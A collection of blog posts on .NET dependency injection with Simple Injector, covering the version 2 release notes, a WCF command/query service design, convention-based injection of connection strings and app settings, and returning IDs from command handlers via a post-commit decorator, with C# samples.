Simple Injector follows the rules from Semantic versioning and the fact that this is a new major release, implies that there are breaking changes. Simple Injector users should absolutely read the release notes before upgrading, but I think that in most cases the upgrade will go smoothly.

This release however is also a significant functional improvement over version 1.6. Most of the development time went to the new Debug Diagnostic Services. Those services allow you to get feedback on the container configuration. It allows spotting common misconfiguration mistakes such as implementations that depend on services with a shorter lifestyle. Autofac and Castle Windsor have this feature for some time now and IMHO, for a DI container to be usable in any considerably sized (enterprise) application, it must enable these kinds of analysis. I advice any new and existing Simple Injector user to take a good look at the Debug Diagnostic Services documentation and see how to view the diagnostic results.

The last few years I reviewed a lot of DI configurations. I saw the same configuration mistakes. Over and over again. What I started to realize was that it is really easy -even for an experienced developer- to make these kinds of configuration mistakes, once the application starts to grow. When the application is complex enough, there is simply no alternative for wiring all dependencies in a single place of the application (the Composition Root), but this places big responsibility on this piece of code and its developers when they make changes to it.

I have thought often and hard about how to implement such feature, but the design of Simple Injector 1 was too limiting to add such feature. The key feature that was missing from Simple Injector was explicit lifestyle support. For Simple Injector 1, users were expected to register custom Func<T> delegates that implement custom lifestyles, but passing on delegates disallowed the library to find out anything about the registered lifestyle. I experimented a lot with the analysis of expression trees (since the built-in lifestyles each contained their signature buried deep in the expression trees they built), but this was brittle and unreliable. Especially since part of Simple Injector’s extendibility is based on altering expression trees.

Simple Injector 2 adds explicit lifestyle support. This basically means that there is a Lifestyle base class and all lifestyles (such as Transient, Singleton, and everything in between) inherit from that base class. This paved the way for doing analysis. Side effect was that it allowed me to solve a broad range of bugs and limitations as well and made some new features considerably easier to implement. For instance, for some parts of the API it was originally extremely hard to register types with a custom lifestyle. Especially the more advanced scenarios such as decorator registration, open generic type mapping, and batch registration.

Although all the new features make the library more flexible and more complete, I still believe in exposing a minimalistic API and supplying users with a framework with a set of features with a default configuration that steers them to the pit of success. I learned this a long time ago from reading the Framework Design Guidelines.

One of those “default configuration that steers [developers] to the pit of success” examples is the lack of support for auto-wiring types with multiple public constructors. I've communicated with a lot of developers that where annoyed about this and some even switched libraries. That’s okay; I don’t have to be the most popular DI library. I don’t want Simple Injector to become this Swiss army knife and I’ll stick with this strategy.

In general, your classes should have a single public constructor that contains all the services it depends on. Unfortunately, sometimes it’s not your own code that causes a class to have multiple constructors (when using T4MVC for instance). It is important to supply users with a way to change the default behavior as Simple Injector does.

But the point is, by not allowing this by default, Simple Injector forces developers to at least think about their design and perhaps even reconsider it. This is one of the main design principles behind Simple Injector.

The library on the other hand does have its quirks. The feature I regret the most ever having implemented is the Container.InjectProperties method. This method does implicit property injection, which means that it 'tries' to inject all public writable properties of a given object, but will skip any property that has a type hasn't been configured or hasn’t been configured correctly. The problem with this is that implicit property injection lead to a DI configuration that is hard to verify and an application that might fail at runtime instead. And in a sense, Simple Injector 2 made things worse, since properties injected using InjectProperties never show up in the new diagnostic results. Making it easy for developers to call InjectProperties certainly isn't an example of steering them into "the pit of success". This part is so important to me that I'm willing to introduce a breaking change again and remove InjectProperties from the library. However, don't worry; this won't happen before there is a good alternative. But if you're using InjectProperties today, please reconsider its use. If in doubt, please ask on Stackoverflow.

What’s next?

I’m taking the commitment on maintaining Simple Injector for the coming years and I will stick to the design principles I previously stated.

Multiple developers have complained about the source control solution for Simple Injector which is FTS on CodePlex. They are absolutely right. It must become easier to fork and accept contributions. I will definitely switch to the distributed source control system Git and CodePlex already has support for this. But please be patient, the Visual Studio 2012 Git integration is still in beta, and I’ll make the switch after it has gone RTM.

And of course there are plans for future versions of Simple Injector. For instance, in the next minor release (2.1) I’ll probably add a strategy to allow adding explicit property injection that integrates well with the diagnostic services (just as there already are strategies for constructor resolution and injection). What’s great about the current 2.0 is that the new ExpressionBuilding event already completely allows you implement explicit property injection (including diagnostic integration), but I like to make this more straightforward to do this in a reliable and fast way.

Another part that I will definitely keep investigating in is the new Diagnostic Services. New warning types will be added in the future. If you have any ideas for improvements the Diagnostic Service, let’s discuss it on the Simple Injector discussion forum.

As always, happy injecting!

Most of my clients have maintainability issues with their software. Almost always these problems are caused by improper software design. Incorrect design can have many causes, such as bad requirement analysis, and high pressure. Bad design can even cause more bad design and even bigger maintainability nightmares. When looking closely at such design, I often see a violation of the five basic design principles of object oriented design; the SOLID principles. For me, there is no alternative: writing maintainable software starts with the SOLID principles.

Just as bad design triggers more bad design, good design can trigger more good design. For instance, after correctly applying the SOLID principles to your software, it will be much easier to write (web) services that are highly maintainable. In my last few articles (here and here) I described a way of modeling important parts of a software system in such a way that it increases maintainability (by simply following the SOLID principles). By modeling both business operations (commands) and business queries as messages, and hiding the behavior for processing these objects behind proper abstractions, the maintainability and flexibility increases dramatically.

Since those command and query objects are simple data containers, serializing them is easy. Being able to serialize those messages has a few clear advantages. We could for instance serialize them to a log file, which gives us a complete overview of what happened at what time and by whom. It’s a functional transaction log. Since both a command and a query contain all the data that is needed to correctly execute the operation (except perhaps some context information such as the current user), we could replay this information during a stress test or use it to debug a problem. By serializing commands to a (transactional) queue (such as MSMQ), we can even let commands run in parallel on background services. This can improve reliability and scalability of a system.

Another advantage of being able to serialize those messages is to be able to send them over the wire to a web service. Those messages can be used as the data contract of the web service, and the web service can be built as a thin layer that lies on top of that. With the right constructs and configuration, we can build this web service in such a way that it hardly ever needs to be changed. In this article I will show you how to do this with a WCF service based on the patterns described in my previous articles (so please read them if you haven't).

WCF has a few interesting features, which make it an extremely convenient layer on top of a model based on commands and queries. For instance, WCF allows a service class to dynamically specify which types of messages the service can handle using the ServiceKnownTypeAttribute. This allows us to write the service once and never change it again. Another feature is the possibility to let the client and service share the same assembly. Of course this is only possible when the client is a .NET application as well, but this saves you from having lots of generated code on the client. This works best when the client and web service are part of the same Visual Studio solution.

This next code is all it takes to make a web service that can handle any arbitrary command that's available in your application:

[ServiceKnownType("GetKnownTypes")]
public class CommandService
{
    [OperationContract]
    public void Execute(object command)
    {
        Type commandHandlerType = typeof(ICommandHandler<>)
            .MakeGenericType(command.GetType());
 
        object commandHandler =
            Bootstrapper.GetInstance(commandHandlerType);
 
        commandHandlerType.GetMethod("Handle")
            .Invoke(commandHandler, new[] { command });
    }
 
    public static IEnumerable<Type> GetKnownTypes(
        ICustomAttributeProvider provider)
    {
        var commandAssembly =
            typeof(ICommandHandler<>).Assembly;
 
        var commandTypes =
            from type in commandAssembly.GetExportedTypes()
            where type.Name.EndsWith("Command")
            select type;
 
        return commandTypes.ToArray();
    }
}

This service has just one operation, decorated with the OperationContractAttribute. It can process any command. Since WCF needs to know what messages it must accept (to be able to generate a WSDL for instance), the service is decorated with the ServiceKnownTypeAttribute. This attribute points at the public GetKnownTypes method, which is part of the service. This method simply queries the metadata of the assembly containing all commands. This method uses convention over configuration, since it expects all types in that assembly which name ends with "Command" to be command messages. However, other ways to retrieve the applicable command types (such as defining them by a common ICommand interface or marking commands with attributes) will do just fine.

Since the service’s Execute method accepts any possible command, it uses reflection to build the corresponding ICommandHandler<TCommand> interface for the supplied command. It requests this handler type from the Composition Root and uses a bit of reflection again to execute that command. The performance impact of the reflection is negligible, since the WCF pipeline (with all its deserialization and verification) obviously has much more overhead (but if needed, performance can be improved by caching the types).

The Composition Root is the part of the application where services are tied together and object graphs are composed. Here is how this composition root might look like:

using System.Linq;
using System.Reflection;
using System.Web.Compilation;

using SimpleInjector;
using SimpleInjector.Extensions;

public static class Bootstrapper
{
    private static Container container;
 
    public static void Bootstrap()
    {
        container = new Container();
 
        var assemblies = BuildManager
            .GetReferencedAssemblies().Cast<Assembly>();

        container.RegisterManyForOpenGeneric(
            typeof(ICommandHandler<>), assemblies);
 
        container.RegisterManyForOpenGeneric(
            typeof(IQueryHandler<,>), assemblies);
 
        container.Verify();
    }
 
    public static object GetInstance(Type serviceType)
    {
        return container.GetInstance(serviceType);
    }
}

Not surprisingly, I use the Simple Injector to bootstrap the application, since Simple Injector makes batch register generic types and generic decorators embarrassingly easy. However, any descent DI container will allow you to do this in one way or another. The first call to the RegisterManyForOpenGeneric method iterates through all application assemblies and registers all concrete ICommandHandler<TCommand> implementations that it finds. This of course is just a simple example.

The Bootstrap method is called during application startup. For a WCF service this will be the Application_Start event in the Global.asax:

public class Global : System.Web.HttpApplication
{
    protected void Application_Start(object sender, EventArgs e)
    {
        Bootstrapper.Bootstrap();
    }
}

With these three pieces in place we have a working WCF service that can accept command messages from a client. If you haven’t already, you can start defining commands just like the following:

public class MoveCustomerCommand
{
    public int CustomerId { get; set; }
 
    public Address NewAddress { get; set; }
}

Notice how this type lacks any WCF DataContractAttributes and DataMemberAttributes. When working with DTOs, WCF allows you to skip using these attributes, which simply means that WCF will serialize the complete instance, which is exactly what we want. Not only removes this noise from our code, it keeps our commands simple POCOs, free from any technology specific attributes, which is always a good thing.

I must admit that this whole design can seem a bit overwhelming, and not very appealing at first, but as I explained in my previous blog posts, this model starts to shine once you start applying decorators to those handlers and can drastically lower maintenance when your application starts to grow. In my post about commands I made a small list of cross-cutting concerns that are easy to implement as decorator, such as validation, audit trailing, and queuing. Besides these, when running a WCF service, it could be really useful to have a mechanism to prevent messages from being replayed (both preventing accidental duplicates and hacking). Adding such feature as a decorator would be pretty easy.

Commands are of course just one half of the story. Queries are the other half. Let’s cut to the chase; Here’s the service that can execute queries:

[ServiceKnownType("GetKnownTypes")]
public class QueryService
{
    [OperationContract]
    public object Execute(object query)
    {
        Type queryType = query.GetType();
        Type resultType = GetQueryResultType(queryType);
        Type queryHandlerType = typeof(IQueryHandler<,>)
            .MakeGenericType(queryType, resultType);
 
        object queryHandler =
            Bootstrapper.GetInstance(queryHandlerType);
 
        return queryHandlerType.GetMethod("Handle")
            .Invoke(queryHandler, new[] { query });
    }
 
    public static IEnumerable<Type> GetKnownTypes(
        ICustomAttributeProvider provider)
    {
        var contractAssembly = typeof(IQuery<>).Assembly;
 
        var queryTypes = (
            from type in contractAssembly.GetExportedTypes()
            where TypeIsQueryType(type)
            select type)
            .ToList();
 
        var resultTypes =
            from queryType in queryTypes
            select GetQueryResultType(queryType);
 
        return queryTypes.Union(resultTypes).ToArray();
    }

    private static bool TypeIsQueryType(Type type)
    {
        return GetQueryInterface(type) != null;
    }

    private static Type GetQueryResultType(Type queryType)
    {
        return GetQueryInterface(queryType)
            .GetGenericArguments()[0];
    }
 
    private static Type GetQueryInterface(Type type)
    {
        return (
            from @interface in type.GetInterfaces()
            where @interface.IsGenericType
            where typeof(IQuery<>).IsAssignableFrom(
                @interface.GetGenericTypeDefinition())
            select @interface)
            .SingleOrDefault();
    }
}

The structure of this QueryService is similar to what we've seen with the CommandService. However, since queries return a value, a bit more wiring must be done. When executing queries however, there is one catch. Since the command service doesn't return any data when processing commands, clients could easily let Visual Studio generate the service contract for them. Query objects however, implement an interface that describes the data they return, for instance:

public class GetUnshippedOrdersForCurrentCustomerQuery 
    : IQuery<OrderInfo[]>
{
    public int PageIndex { get; set; }
 
    public int PageSize { get; set; }
}

WCF however, doesn't communicate this interface through its WSDL definition and this part of the contract is lost. This problem can be solved by sharing the assembly that contains the query objects between the client and the service. Sharing an assembly between client and server is done by specifying it in the “Reuse types in specified referenced assemblies” option of the Advanced tab when adding the web service reference using Visual Studio’s “Add Service Reference” wizard:

Unfortunately, it is not always possible to reuse the same assembly. Especially when dealing with non-.NET clients. Those clients will either need to cast the returned object to the correct type manually or will have to write some infrastructural code that adds compile time checking again (such as writing or generating partial classes to add this interface again to generated code). This of course only holds for clients written in static languages. With a dynamic language, you’ll have a different set of problems :-).

Since this shared assembly functions as the service’s contract, not sharing that assembly will make us lose information about this contract. WCF does not have the ability (at least not that I know) to express what data comes back from the service with what input. However, not all is lost. Since this information is available in the metadata, documentation can be generated based on this metadata. It could be as simple as shipping the XML documentation file that is generated by the C# compiler, or a Sandcastle documentation based on that XML file. This makes it easier for the client developers to work. Or web service could even expose an extra method that returns a list with the names of all queries with their corresponding return type. This would make it pretty easy for the developers of the client to use this information to generate the proper code for their environment that adds type safety and compile time support again (although this highly depends on the possibilities of the used system, runtime, and language).

Update: Instead of generating code on (non-.NET) client side to communicate with this service, you can also generate code on the WCF service, for instance using T4 templates. I added an example of this in the CodeProject project.

In fact, this is all it takes to write a WCF service. Obviously your service should do the proper authentication, authorization, validation, logging, and all other sorts of cross-cutting concerns. Authentication is typically done at the WCF layer, and almost all other cross-cutting concerns can be implemented by registering decorators for ICommandHandler<TCommand> and IQueryHandler<TQuery, TResult>. This will keep the CommandService and QueryService clean from these sort of checks, and it will allow you to reuse this logic in other applications, running on the same business layer.

When you get the hang of this way of designing your system, you will appreciate how easy and flexible it is. Still, please take the following things into consideration:

• Don't forget that although adding new commands and queries can be done without making changes to the CommandService and QueryService classes, the service’s contract will still change. Although adding new commands and queries would usually not be a problem, every change to an existing command or query object might break your clients. For example, changing validation logic of a command could break your client. Managing the contract and backwards compatibility with existing clients is especially crucial when the clients are external. That’s a problem that this model doesn’t solve. Of course, things are much easier when the client application is part of the same solution, because contract changes can be made without a problem and you'll even get compiler warnings on the client application when you make these changes.
• Make sure the service contract only contains commands and queries that must be accessible from clients. If they're not public, don't place them in the contract assembly. If there's no contract assembly, make sure GetKnownTypes method does not return them. This should be as easy as changing the LINQ query in GetKnownTypes. Depending on the DI framework you use, you might be able to leverage features of the container to find out which registrations exist. Simple Injector for instance, contains a GetCurrentRegistrations method, that returns a list of registered types.
• Decorators are a great mechanism to extend behavior of command handlers and query handlers with cross-cutting concerns like validation and authorization. This can be mixed with metadata (attributes) placed on the command and query objects to define what behavior they should have.
• Find a mechanism to communicate validation errors efficiently to the client. For instance, try a model where you can define validations in one place and let these validations be executed both on the server and client. You could for instance decorate command properties with Data Annotation attributes to allow them to be executed on both the client as the server. You could extend this with the configuration based approach of the Enterprise Library Validation Application Block to define the server-side only validation.
• When your architecture is based on commands and queries, setting up a web service is really easy and almost maintenance free. This means that it can be very convenient to have multiple (almost identical) web services side by side, with slightly different configuration. Imagine a service for public clients with access to a sub set of commands and queries of a second service, meant for internal clients. This can be a nice extra layer of defense. Or both an (internal) WCF service and a public ASP.NET Web API service.
• And of course apply WCF best practices when it comes to securing your web service (and do test this).

Here is the CodePlex project where you can find a working demo solution: solidservices.codeplex.com. When you go to the Source Code tab you can download the latest version by clicking on the 'download' link.

This is how I roll on the service side of my architecture.

1. Extract and group the primitives in their own 'configuration' type and inject that type into the service, or
2. Move those primitives to properties and use property injection.

I find property injection nice, since those primitives are almost always system configuration values and removing them from the constructor (and thus separating them from the required service dependencies) seems very clean.

The general consensus about property injection is however that it is supposed to be used for optional dependencies. This means that not injecting such dependency should allow the system to keep running. A connection string however is hardly ever optional, since without a connection string, it will be impossible to connect to the database. But since I don't really see those configuration values as 'real' dependencies, I personally don't mind using property injection.

Still, mixing primitives and services in the constructor can have a benefit, as explained by Mark Seemann in his blog post about Primitive Dependencies. In that post, Mark shows how to use convention over configuration on primitive dependencies. For instance, by naming a string dependency 'xxxConnectionString', we can load the value by name 'xxx' directly from the <connectionStrings> section of the application's configuration file. Or an primitive dependency, who's name ends with 'AppSettings', can be retrieved directly from the <appSettings> section.

Personally, I'm not sure whether I would like these types of conventions, because the name of the value in the configuration file, will be coupled to your code. Though, I must admit that it can make the container’s configuration simpler, since you won't have to create a new configuration type, use property injection, or fallback to using a lambda expression in registering the type. So let's see how we can implement such convention over configuration feature for Simple Injector.

Simple Injector contains extension points for changing the way constructor injection works. By default, Simple Injector disallows registering and injecting value types and strings, which is a good default, since this would promote ambiguity. The trick is to change the constructor parameter verification behavior (defined by the IConstructorVerificationBehavior interface) and the constructor injection behavior (defined by the IConstructorInjectionBehavior).

By replacing the default implementations of these abstractions, we can extend Simple Injector to allow convention over configuration.

Let's start by defining an abstraction for conventions on constructor parameters:

public interface IParameterConvention
{
    bool CanResolve(ParameterInfo parameter);
    Expression BuildExpression(ParameterInfo parameter);
}

This interface implements the tester-doer pattern. We can ask the convention whether it can resolve the supplied parameter, and if it can, BuildExpression allows us to create an Expression object that defines the constructor argument. Simple Injector works with expression trees under the covers, which allows it to compile delegates with performance that is very close to newing types up manually. By letting a convention return an Expression, we will have best performance, and most flexibility in what and how a parameter must be injected.

Mark Seemann uses a convention for connection strings and app settings. Let's stick with that example and those two conventions. Let's start with the ConnectionStringsConvention:

public class ConnectionStringsConvention : IParameterConvention
{
    private const string ConnectionStringPostFix =
        "ConnectionString";

    [DebuggerStepThrough]
    public bool CanResolve(ParameterInfo parameter)
    {
        bool resolvable =
            parameter.ParameterType == typeof(string) &&
            parameter.Name.EndsWith(ConnectionStringPostFix) &&
            parameter.Name.LastIndexOf(ConnectionStringPostFix) > 0;

        if (resolvable)
        {
            this.VerifyConfigurationFile(parameter);
        }

        return resolvable;
    }

    [DebuggerStepThrough]
    public Expression BuildExpression(ParameterInfo parameter)
    {
        var constr = this.GetConnectionString(parameter);

        return Expression.Constant(constr, typeof(string));
    }

    [DebuggerStepThrough]
    private void VerifyConfigurationFile(ParameterInfo parameter)
    {
        this.GetConnectionString(parameter);
    }

    [DebuggerStepThrough]
    private string GetConnectionString(ParameterInfo parameter)
    {
        string name = parameter.Name.Substring(0,
            parameter.Name.LastIndexOf(ConnectionStringPostFix));

        ConnectionStringSettings settings =
            ConfigurationManager.ConnectionStrings[name];

        if (settings == null)
        {
            throw new ActivationException(
                "No connection string with name '" + name +
                "' could be found in the application's " +
                "configuration file.");
        }

        return settings.ConnectionString;
    }
}

This ConnectionStringsConvention does a few interesting things. Its CanResolve method checks to see if the supplied parameter is of type string and its name ends with 'ConnectionString'. If not, CanResolve returns false immediately, which means that we can fall back on Simple Injector’s default validation behavior (or any behavior that is has been defined previously). If the parameter matches, CanResolve will check if the value can be found in the <connectionStrings> section of the application's configuration file. An exception will be thrown when this is not the case. The CanResolve will get called during the registration process, and throwing an exception therefore allows us to let the application fail immediately when an invalid registration is made.

Compared to the CanResolve, the BuildExpression method pretty simple. It retrieves the connection string value from the configuration file, wraps it in an expression and returns that expression. Since the configuration file can't change during the lifetime of an application (changes either have no effect, or in case of a web application, will cause the application to be restarted), it would be useless to reread the value every time a new instance of the depending type is created. The value is constant, and we can safely return a ConstantExpression. This also yields the best performance.

The AppSettingsConvention looks similar to the previous ConnectionStringsConvention. It too checks to see if the value exists in the configuration file. However, while the ConnectionStringsConvention would only deal with strings, the AppSettingsConvention can work with strings and any arbitrary value type that can be converted from a string (using .NET’s built-in TypeConverter system):

public class AppSettingsConvention : IParameterConvention
{
    private const string AppSettingsPostFix = "AppSetting";

    [DebuggerStepThrough]
    public bool CanResolve(ParameterInfo parameter)
    {
        Type type = parameter.ParameterType;

        bool resolvable =
            (type.IsValueType || type == typeof(string)) &&
            parameter.Name.EndsWith(AppSettingsPostFix) &&
            parameter.Name.LastIndexOf(AppSettingsPostFix) > 0;

        if (resolvable)
        {
            this.VerifyConfigurationFile(parameter);
        }

        return resolvable;
    }

    [DebuggerStepThrough]
    public Expression BuildExpression(ParameterInfo parameter)
    {
        object valueToInject = this.GetAppSettingValue(parameter);

        return Expression.Constant(valueToInject,
            parameter.ParameterType);
    }

    [DebuggerStepThrough]
    private void VerifyConfigurationFile(ParameterInfo parameter)
    {
        this.GetAppSettingValue(parameter);
    }

    [DebuggerStepThrough]
    private object GetAppSettingValue(ParameterInfo parameter)
    {
        string key = parameter.Name.Substring(0,
            parameter.Name.LastIndexOf(AppSettingsPostFix));

        string configurationValue =
            ConfigurationManager.AppSettings[key];

        if (configurationValue == null)
        {
            throw new ActivationException(
                "No app setting with key '" + key + "' " +
                "could be found in the application's " +
                "configuration file.");
        }

        TypeConverter converter = TypeDescriptor.GetConverter(
            parameter.ParameterType);

        return converter.ConvertFromString(null,
            CultureInfo.InvariantCulture, configurationValue);
    }
}

Now we've got two IParameterConvention implementations, we need to allow plugging these implementations in the Simple Injector auto-wiring pipeline. We need create both a IConstructorVerificationBehavior and a IConstructorInjectionBehavior implementation:

internal class ConventionConstructorVerificationBehavior
    : IConstructorVerificationBehavior
{
    private IConstructorVerificationBehavior decorated;
    private IParameterConvention convention;

    public ConventionConstructorVerificationBehavior(
        IConstructorVerificationBehavior decorated,
        IParameterConvention convention)
    {
        this.decorated = decorated;
        this.convention = convention;
    }

    public void Verify(ParameterInfo parameter)
    {
        if (!this.convention.CanResolve(parameter))
        {
            this.decorated.Verify(parameter);
        }
    }
}

This ConventionConstructorVerificationBehavior is a decorator. It extends the container's original behavior with convention support. By extending the original behavior, it allows us to apply multiple conventions, or even mix it with other plug-ins that changed the default behavior of the container. The IConstructorInjectionBehavior implementation looks very alike:

internal class ConventionConstructorInjectionBehavior
    : IConstructorInjectionBehavior
{
    private IConstructorInjectionBehavior decorated;
    private IParameterConvention convention;

    public ConventionConstructorInjectionBehavior(
        IConstructorInjectionBehavior decorated,
        IParameterConvention convention)
    {
        this.decorated = decorated;
        this.convention = convention;
    }

    public Expression BuildParameterExpression(
        ParameterInfo parameter)
    {
        if (!this.convention.CanResolve(parameter))
        {
            return this.decorated
                .BuildParameterExpression(parameter);
        }

        return this.convention.BuildExpression(parameter);
    }
}

Just one thing is missing, and that is a convenient extension method, that makes registering a new IParameterConvention a simple one-liner:

public static void RegisterParameterConvention(
    this ContainerOptions options,
    IParameterConvention convention)
{
    options.ConstructorVerificationBehavior =
        new ConventionConstructorVerificationBehavior(
            options.ConstructorVerificationBehavior,
            convention);

    options.ConstructorInjectionBehavior =
        new ConventionConstructorInjectionBehavior(
            options.ConstructorInjectionBehavior,
            convention);
}

This extension method works over the ContainerOptions class and replaces the ContainerOptions' original ConstructorVerificationBehavior and ConstructorInjectionBehavior with our specially crafted versions, while wrapping the original implementations. With this in place, we can use these conventions as follows:

var container = new Container();

// Add the parameter convensions:
container.Options.RegisterParameterConvention(
    new ConnectionStringsConvention());

container.Options.RegisterParameterConvention(
    new AppSettingsConvention());    

// Registrations here
container.Register<IDbContext, MyDbContext>();

And there you have it. Convention support for primitive dependencies with the Simple Injector.

Happy injecting!

It seems strange at first to return data from commands, since the whole idea of the Command-query separation is that a function should either return a value or mutate state, but not both. So without any more context, I would respond to such question with: separate the returning of the data from the operation that mutates the state. Execute that command and execute a query after the command has finished.

When we take a closer look at the question however, we will usually see that the data being returned is an Identifier of some sort, which is the result of the creation of some entity in the system. Take a look at the following command:

public class CreateCustomerCommand
{
    public string Name { get; set; }
    public Address Address { get; set; }
    public DateTime? DateOfBirth { get; set; }
}

Since the command will create a new customer, it’s not unlikely for the caller to need the id of the customer, for instance to redirect to another page:

public ActionResult CreateCustomer(
    CreateCustomerCommand command)
{
    this.handler.Handle(command);
    int customerId = [get the customer Id here];
    return this.RedirectToAction("Index", 
        new { id = customerId });
}

Still, do we really want to return values from commands? A few things to note here. First of all, returning values from commands does mean that a command can never be executed asynchronously anymore, something that architectures such as CQRS promote. Besides this, the CreateCustomerCommand seems very CRUDy, and probably doesn’t really fit an architecture like CQRS. In a CQRS like architecture, you are likely to report to your user the message “your request is being processed” or might want to poll until the operation has executed asynchronously.

For the systems I’m working on, for my customers, my fellow developers, and even myself, CQRS is a bridge too far. The idea of having all commands (possibly) execute asynchronously –and CQRS itself- is a real mind shift that I’m currently not willing to make (yet), and I can’t expect other developers to do to. With my current state of mind, it is simply too useful to have commands handlers return data to the caller. So how do we do that?

The answer is actually very simple: Define an ‘output’ property on a command:

public class CreateCustomerCommand
{
    public string Name { get; set; }
    public Address Address { get; set; }
    public DateTime? DateOfBirth { get; set; }

    // output property
    public int CustomerId { get; internal set; }
}

When a command handler sets this property during the execution, the caller can use it as follows:

public ActionResult CreateCustomer(
    CreateCustomerCommand command)
{
    this.handler.Handle(command);
    int customerId = command.CustomerId;
    return this.RedirectToAction("Index", 
        new { id = customerId });
}

We can set this id from within the command handler:

public class CreateCustomerCommandHandler 
    : ICommandHandler<CreateCustomerCommand>
{
    IUnitOfWorkFactory<NorthwindUnitOfWork> factory;

    public CreateCustomerCommandHandler(
        IUnitOfWorkFactory<NorthwindUnitOfWork> factory)
    {
        this.factory = factory;
    }
 
    public void Handle(CreateCustomerCommand command)
    {
        using (var unitOfWork = this.factory.CreateNew())
        {
            var customer = new Customer
            {
                Name = command.Name,
                Street = command.Address.Street,
                City = command.Address.City,
                DateOfBirth = command.DateOfBirth,
            };
 
            unitOfWork.Customers.InsertOnSubmit(customer);

            unitOfWork.Commit();

            // Set the output property.
            command.CustomerId = customer.Id;
        } 
    }
}

As you can see, the CustomerId property of the CreateCustomerCommand is set at the end of the Handle method of the handler. This sounds too good to be true, and well… it depends ;-).

When the Customer.Id is generated by the database, the Commit will ensure that the Customer is persisted and will retrieve the auto-generated key and it will become available immediately after the Commit. We can therefore simply set the command’s CustomerId property after calling Commit.

The previous command handler was in complete control over the unit of work. It created that unit of work, it committed that unit of work, and it disposed that unit of work. This is a simple model I effectively used in the past, and I know others are still using this today. Letting the command handler control the unit of work however, has its short comes.

This design works great when commands are small and contain little logic. It starts to fall apart however, when commands get more complex and start to depend on other abstractions that need to run in the same context / unit of work. When the unit of work is controlled by the command handler, it is the handler's responsibility of passing it on to its dependencies, and since those dependencies are already created at the time the handler creates the unit of work, constructor injection is out of the picture. The only thing left is passing the unit of work through method arguments (method injection). Although it doesn’t seem that bad, I worked on a system where we actually did this, but the call stacks were deep and passing around the unit of work from method to method, from class to class was just tedious. To make our lives easier we started creating a new unit of work for some operations, but this actually made things worse, since a single use case / request resulted in multiple unit of works, which sometimes lead to very strange behavior, or even deadlocks.

For this reason, I stepped away from this design and instead I inject a unit of work instance into classes that need it. Though, somebody somewhere in the system must manage the unit of work. This can be solved by registering the unit of work with a Per Thread or Per Web Request lifetime and implementing a command handler decorator that will ensure the unit of work is committed after the handler completed successfully (note that committing the unit of work on the end of the web request is typically a bad idea, since there is no way to tell whether the unit of work should actually be committed at that point). You have to realize that, although simplifying your application code, the complexity is moved into the composition root. The size and complexity of your application must promote this. Although I must admit that once familiar with these types of constructions and configurations of your composition root, you will find it easy to apply in small systems as well.

One note about database generated keys. CQRS models the business around aggregate roots (a DDD concept), and each aggregate root gets a unique key, usually generated as a Guid, which can be generated in .NET. This means that when using CQRS, you will never run into the problem of database generated keys, which is great of course.

Aggregates in DDD are a group of domain objects that belong together. The Aggregate Root is the thing that holds them together. An Order for instance, may have order lines and those order lines cannot live without that order. The order is therefore the aggregate root and has a unique (global) identifier. An order line does not need a (global) identifier (although they might have an local identifier, only known inside the aggregate), since it will never be referenced directly; other aggregates will only reference the order, never the lines. They may need an identitier in your relational database, but you would probably never return them from a command, since they are purely internal to the Aggregate. If such identitier is needed, returned, or referenced from other aggregates, they are probably not part of that aggregate and the system is incorrectly modeled, accordingly to DDD. This also means that the system will have not as many primary keys as a non-DDD system will have. In a normal relational database, each order line will usually get its own auto number primary key. In that case, it will be much more likely to get into performance problems when using Guids. A Guid is 16 bytes (12 bytes bigger than an Int32) and every database index of a certain table will contain the primary key of that table, making each index 12 bytes times the number of records in the table bigger. Disk space is cheap, but I/O isn’t. When doing complex queries over large amounts of data, lowering the amount of I/O is important. And don’t forget the clustered index fragmentation that random Guids cause.

Long story short, you might be in the situation where you don’t use DDD / CQRS, want to return a database generated value from your command handlers, while having a design were command handler don’t control the unit of work. How do we do this?

Since database generated IDs only come available after the data is saved to the database, and committing happens after the handler executed, we need a construct that allows the handlers to execute some code after the commit operation. We can introduce a new abstraction to the system, where command handlers can depend upon, which allows them to register some post-commit operation:

public interface IPostCommitRegistrator
{
    event Action Committed;
}

This interface defines a single event, which command handlers can depend upon and register their post commit operation. The previously defined CreateCustomerCommandHandler will now look like this:

public class CreateCustomerCommandHandler 
    : ICommandHandler<CreateCustomerCommand>
{
    private readonly UnitOfWork unitOfWork;
    private readonly IPostCommitRegistrator postCommit;

    public CreateCustomerCommandHandler(
        UnitOfWork unitOfWork,
        IPostCommitRegistrator postCommit)
    {
        this.unitOfWork = unitOfWork;
        this.postCommit= postCommit;
    }
 
    public void Handle(CreateCustomerCommand command)
    {
        var customer = new Customer
        {
            Name = command.Name,
            Street = command.Address.Street,
            City = command.Address.City,
            DateOfBirth = command.DateOfBirth,
        };
 
        this.unitOfWork.Customers.InsertOnSubmit(customer);
 
        // Register an event that will be called after commit.
        this.postCommit.Committed += () =>
        {
            // Set the output property.
            command.CustomerId = customer.Id;
        };
    }
}

This command handler registers a delegate to the IPostCommitRegistrator, which is injected through the constructor (note that you should only inject the IPostCommitRegistrator into a handler that actually needs it).

From the application design, this really is all there’s to it. However, there is some more work to do inside the composition root. For instance, we need an implementation of this IPostCommitRegistrator:

private sealed class PostCommitRegistratorImpl 
    : IPostCommitRegistrator
{
    public event Action Committed = () => { };
 
    public void ExecuteActions()
    {
        this.Committed(); 
    }

    public void Reset()
    {
        // Clears the list of actions.
        this.Committed = () => { };    
    }
}

This implementation is very simple. It just implements the Committed event and defines an OnCommitted method, which will be called from the code that manages the transactional behavior of the command handlers. In my previous post I defined an TransactionCommandHandlerDecorator<T>, which allowed executing the commands in a transactional manner. Although we can extend this class to add this post commit behavior, I like my classes to be focused, and have a single responsibility. Let’s define a PostCommitCommandHandlerDecorator<T>, that has the sole responsibility of executing the registered post commit delegates, after a transaction was committed successfully:

private sealed class PostCommitCommandHandlerDecorator<T>
    : ICommandHandler<T>
{
    private readonly ICommandHandler<T> decorated;
    private readonly PostCommitRegistratorImpl registrator;
 
    public PostCommitCommandHandlerDecorator(
        ICommandHandler<T> decorated,
        PostCommitRegistratorImpl registrator)
    {
        this.decorated = decorated;
        this.registrator = registrator;
    }
 
    public void Handle(T command)
    {
        try
        {
            this.decorated.Handle(command);
 
            this.registrator.ExecuteActions();
        }
        finally
        {
            this.registrator.Reset();
        }
    }
}

